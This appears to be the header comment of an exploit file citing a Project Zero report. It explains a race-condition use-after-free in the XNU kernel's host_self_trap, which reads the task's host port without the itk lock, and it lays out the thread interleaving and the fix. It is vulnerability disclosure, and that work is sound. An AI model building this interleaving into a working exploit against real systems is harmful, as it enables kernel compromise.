/* Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1034 The task struct has a lock (itk_lock_data, taken via the itk_lock macros) which is supposed to protect the task->itk_* ports. The host_self_trap mach trap accesses task->itk_host without taking this lock leading to a use-after-free given the following interleaving of execution: Thread A: host_self_trap: read current_task()->itk_host // Thread A reads itk_host Thread B: task_set_special_port: *whichp = port; // Thread B replaces itk_host with eg MACH_PORT_NULL itk_unlock(task); if (IP_VALID(old)) ipc_port_release_send(old); // Thread B drops last ref on itk_host Thread A: host_self_trap: passes the port to ipc_port_copy_send // uses the free'd port host_self_trap should use one of the canonical accessors for the task's host port, not just directly read it.
